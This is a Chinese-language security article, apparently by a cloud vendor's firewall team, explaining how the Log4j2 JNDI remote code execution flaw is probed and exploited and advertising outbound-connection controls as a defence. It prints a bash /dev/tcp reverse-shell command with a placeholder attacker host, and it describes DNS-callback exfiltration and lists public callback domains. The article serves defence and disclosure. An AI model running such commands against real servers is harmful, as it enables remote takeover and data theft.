斩断Log4j2 RCE漏洞验证和利用链,主动外联管控你值得拥有

阅读量    30577 |

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

 

01 概述

近日,国家信息安全漏洞共享平台(CNVD)收录了Apache Log4j2远程代码执行漏洞(CNVD-2021-95914/CVE-2021-44228)。攻击者利用该漏洞,可在未授权的情况下远程执行代码。目前,漏洞利用细节已公开,Apache官方已发布补丁修复该漏洞。

Apache Log4j2是一款优秀的Java日志框架;由于该框架流行度高,且漏洞利用门槛低,导致该漏洞影响范围极广,危害巨大。目前阿里云安全团队已观测到多种形式的大规模扫描、在野利用和绕过,并且已有蠕虫僵尸网络整合该漏洞利用,用于传播。

本文将介绍Apache Log4j2远程代码执行漏洞常见的验证、利用方式及其原理,并给出基于外联管控的防护方案。

 

02 Log4j漏洞常见验证利用方式

每当一个影响面巨大的漏洞利用方式被公开,闻风而动的黑客攻击者们便会对互联网上开放的服务发起大规模扫描,从中发现存在漏洞的资产,然后他们就能够以漏洞利用作为突破入口的武器,在这些资产上执行任意命令,达到资源劫持、数据拖取、后门留存等不可告人的目的。

要保护企业单位的资产服务免受黑客攻击,我们首先要明白黑客是如何验证和利用这一漏洞的。

根据阿里云安全团队的研究和监测,Log4j远程命令执行漏洞常见的验证和利用方式主要有如下几类:

反连平台

反连平台常用于进行漏洞探测,包括但不限于SSRF、XSS、SQL盲注等无回显漏洞,对于RCE(远程命令执行)漏洞的探测同样适用。在一些攻击手法中,将信息直接回传会导致payload显著增长,更容易触发安全告警和拦截;而使用反连平台,则可以在较短的payload中达到漏洞探测和回传信息的目的,并绕过大多数的安全机制。

这类反连平台使用不同的应用协议,当前市面上主流为DNS反连平台和HTTP反连平台。其中DNS反连平台利用了DNS请求会留下日志记录的原理,而使用反连平台进行探测也非常简单。

以公开的DNS反连平台dnslog.cn为例,只需要向反连平台请求获取一个子域名(如xxxxxx.dnslog.cn),对该子域名发起域名解析,而后反连平台便会记录下相应的信息;在需要获取特定信息的场景里,也可以将需要获取的信息拼接在三级或更高的子域名中,从而达到敏感信息外带的目的。

极低的使用门槛,使得反连平台在漏洞验证领域被大量使用。本次Apache Log4j远程命令执行漏洞公开后,由于存在漏洞的服务数量巨大,并且众多黑客攻击者、安全测试人员纷纷采用dnslog.cn这一公开反连平台作为验证工具,导致该网站一度出现宕机现象。

除了上述dnslog.cn网站之外,公开且知名的DNS反连平台包括但不限于ceye.io, burpcollaborator.net等。

此外,攻击者也可能使用各种工具,在任意域名或IP上搭建自己的私有反连平台。

反弹shell

反弹shell,即当被攻击的服务器是Linux服务器时,攻击者在控制端服务器上监听某端口,并操控被攻击的受控端服务器发起主动外联,同时将命令行输入和输出都传到该监听端口。

相比于使用反连平台只能达到验证漏洞以及传输少量信息的目的,反弹shell使得攻击者能够获取一个完整的shell,从而进行更多种类的操作。

需要“反弹”shell的包括但不限于以下场景:1)受控端位于内网,无法正向连接 2)受控端存在防火墙或其他管控机制,外到内的访问受限 3)受控端IP动态变化。
常见的反弹shell命令如下:

bash -i >& /dev/tcp/x.x.x.x(控制端ip)/port_number(控制端端口) 0>&1

其中-i参数表示交互式shell,0>&1表示把受害机的输入和输出都重定向到控制端上;/dev/tcp本质是个Linux“设备”,/dev/tcp/ip/port则是一个特殊的文件,打开这个文件相当于发起socket调用,对其进行读写则相当于使用这个socket连接传输数据。除bash外,也可使用nc, exec等命令进行反弹shell。

下图为此次Log4j漏洞事件中阿里云防火墙安全团队捕获到的反弹Shell攻击流量:

后门植入

上述两种方法(反连平台和反弹shell)都属于快速验证和短期利用的手段,一旦漏洞修复或启用有效的安全措施,则攻击者无法再次利用。

而后门植入则可能导致攻击者在受害目标系统中长期潜伏,尤其是rootkit后门具有极高隐蔽性,即使后续甲方完成了漏洞修复或启用安全措施,也难以发现和清除后门,或阻拦攻击者使用已存在系统中的后门程序进行命令下发等恶意行为。

功能丰富、隐蔽性强的后门经常为编译后的二进制文件,有一定体积,因此批量扫描攻击的场景下,攻击者通常倾向于将后门文件放置在公网域名或IP上,操控受害服务器去访问和下载运行。

 

03 Log4j漏洞命令执行利用原理

该漏洞的成因是Log4j中,日志内容作为LogEvent类型对象的message参数传入到MessagePatternConverter类的format()方法,该方法则会对”${“后的内容进行递归解析。

经过一连串调用后,Interpolator类的lookup()方法对递归解析的内容按PREFIX_SEPARATOR(即冒号)分割,第一部分作为prefix;当prefix为jndi时便会调用JndiLookup.lookup(),并进一步调用JndiManager.lookup()发起网络请求。

综上,该漏洞的本质是一个JNDI注入漏洞。这里用到的JNDI(Java Naming and Directory Interface,Java命名和目录接口)是Java的一个目录服务应用程序接口(API),它提供一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象。

命名/目录服务只要实现SPI都可以通过JNDI访问:如LDAP,RMI,CORBA,DNS等。

在JNDI注入攻击中,由于请求对象的地址可控,攻击者可将该地址指向存放恶意类的LDAP/RMI/CORBA服务器,向受害服务器返回一个javax.naming.Reference类型的恶意对象。

该类型对象的构造方法为

Reference(String className, String factory, String factoryLocation)

其中className为要加载的类名,factory为class中需要实例化的类的名称,factoryLocation则是class存放的位置。

受攻击的服务器获取并解析该Reference类型的恶意对象后,会先尝试从本地classpath中加载名为className的类,如不存在则从factoryLocation指定的远程”codebase”地址加载恶意的class文件,实例化并默认调用静态方法,至此攻击者的恶意代码便得以在受害主机上执行。

如果上述流程看起来较为抽象,我们再来看一下如下的攻击步骤示意图:


1)黑客攻击者建部署立带有恶意载荷的LADP/RMI服务器
2)黑客攻击者向使用Log4j2组件的服务器发送带有恶意的JNDI payload的攻击请求
3)受攻击服务器中的使用Log4j2组件的服务调用lookup方法,向恶意LADP/RMI服务器发起请求,并从响应中获取返回的恶意Reference对象
4)服务器解析该恶意Reference对象,并进一步基于Reference中指定的codebase地址,加载并执行恶意class

实现命令执行后,攻击者将得以操控受害服务器去进行各种操作,包括但不限于前文提到的反连验证、外带敏感信息、反弹shell、后门植入等。

 

04 防护难点

漏洞入口多样化

基于HTTP/HTTPS的各种web服务是Log4j漏洞利用的重要入口,但绝不是唯一入口;因为只要任意输入片段到达应用程序并通过Log4j2进行处理,就可能触发远程命令执行——即入口可以是任何协议,包括但不限于各种TCP、UDP协议应用。

如果在防御时只做入方向Web侧防护,很难彻底防御这一攻击。

Payload变形多

由于该漏洞相关源码存在递归解析,导致利用方式非常灵活,payload变化多端,通过流量检测/拦截等正面对抗手段存在较大的被绕过可能性。

此外攻击payload并非一定通过明文方式到达Log4j2组件处理,中间处理阶段可能通过编码、加密等各个阶段,所以仅通过${、jndi、rmi等字段进行拦截是不全面的,还可能造成大量的误报、误拦截。

多种协议导致信息泄露

JNDI支持LDAP、DNS、NIS、RMI、CORBA等多种协议,即使并非都能用于命令执行,但信息可以通过上述几种协议中任何一种,结合dnslog等外流出内网,因此仅针对LDAP、RMI前缀进行检测和拦截很难防御信息泄露、木马后门等的影响。

 

05 安全建议

主动外联管控

从以上分析不难看出,在攻击者发送请求之后,命令执行阶段之前,受害服务器需要向攻击者所控制的带恶意载荷的LDAP/RMI服务器发起至少两次请求(请求Reference、加载class);命令执行阶段当中,如果反连、反弹shell、后门植入等,则需要向DNS反连平台、黑客控制的服务器等发起外联。

也就是说在漏洞攻击全程中,无论是在漏洞利用阶段,还是后续要进行验证和进一步的控制利用,都涉及多次受害服务器的主动外联行为。

因此我们推荐通过主动外联管控,斩断该漏洞的验证和利用链,切实保障客户安全。

云防火墙全链路防御

如下图所示,云防火墙在漏洞利用阶段、验证和进一步的控制阶段,都能够对攻击者的行为进行有效拦截,达到全链路防御的效果:

IPS入侵防御引擎

云防火墙IPS入侵防御引擎支持多种攻击手法的检测和拦截,包括但不限于“下载可疑的java class”:

“恶意LDAP外联”:

ACL主动外联管控

云防火墙支持配置应用粒度的ACL策略,可以通过配置内到外的管控策略,放行到特定目的的访问:

此外云防火墙的智能策略功能,通过智能学习客户正常的外联流量生成白基线,为客户推荐放行已知正常的域名和IP的流量。

客户可以通过下发智能策略、配置外联白名单,仅放行访问外部已知正常的域名和IP的流量,对其他主动外联流量一概拒绝,这样做能够有效避免因受JNDI注入攻击,导致加载执行来自恶意域名和IP的class文件而产生命令执行,也能有效避免后续利用行为。

主动外联管控智能策略具体使用方法:

  1. 在云防火墙控制台左侧菜单选择“访问控制”,然后在右侧tab选择“内到外”,点击“智能策略”按钮:

  1. 在右侧弹出的智能策略浮框中,选择要下发的智能策略,点击“下发已选中策略”。

优先级显示为“1”的放行策略会被添加到最前(即ACL策略优先级最高的位置),优先级显示为“-1”的观察策略会被添加到最后,整体符合“放行策略在前,观察/阻断策略在后”的原则。

这里的目的域名/IP都是通过智能学习用户历史外联流量基线,生成的推荐客户放行的、提供正常服务的外部域名和IP,可以放心下发。

3)下发策略一段时间(如一周)后,查看观察策略命中情况,如果无业务需要的流量命中该策略,则点击该条策略的“编辑”按钮:

并在弹出的对话框中将该策略对应的动作改为“拦截”:

4)此时进行Log4j RCE漏洞利用测试,已无法弹回shell,在向恶意服务器请求Reference的阶段就已被拦截:


 

06 相关IOC

常见dnslog平台

burpcollaborator.net
ceye.io
dnslog.cn
dnslog.link
dnslog.cc
dnsxx.top

 

07 相关链接

[1]关于Apache Log4j2存在远程代码执行漏洞的安全公告 https://www.cnvd.org.cn/webinfo/show/7116
[2] Apache Log4j2 丨阿里云「流量+应用+主机」三重检测防护指南 https://mp.weixin.qq.com/s/GLwjCK3t-6vedUzyCO2YLQ
[3] 【漏洞预警】Apache Log4j 远程代码执行漏洞 https://mp.weixin.qq.com/s/9f1cUsc1FPIhKkl1Xe1Qvw
[4] 【漏洞预警】Apache Log4j2 远程代码执行漏洞二次更新通告 https://mp.weixin.qq.com/s/AuBchaUvFw2pisVw6rNX5
[5] 【虚拟补丁】Apache Log4j2远程代码执行漏洞(CVE-2021-44228) https://help.aliyun.com/document\_detail/366944.htm
若有收获,就点个赞吧

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多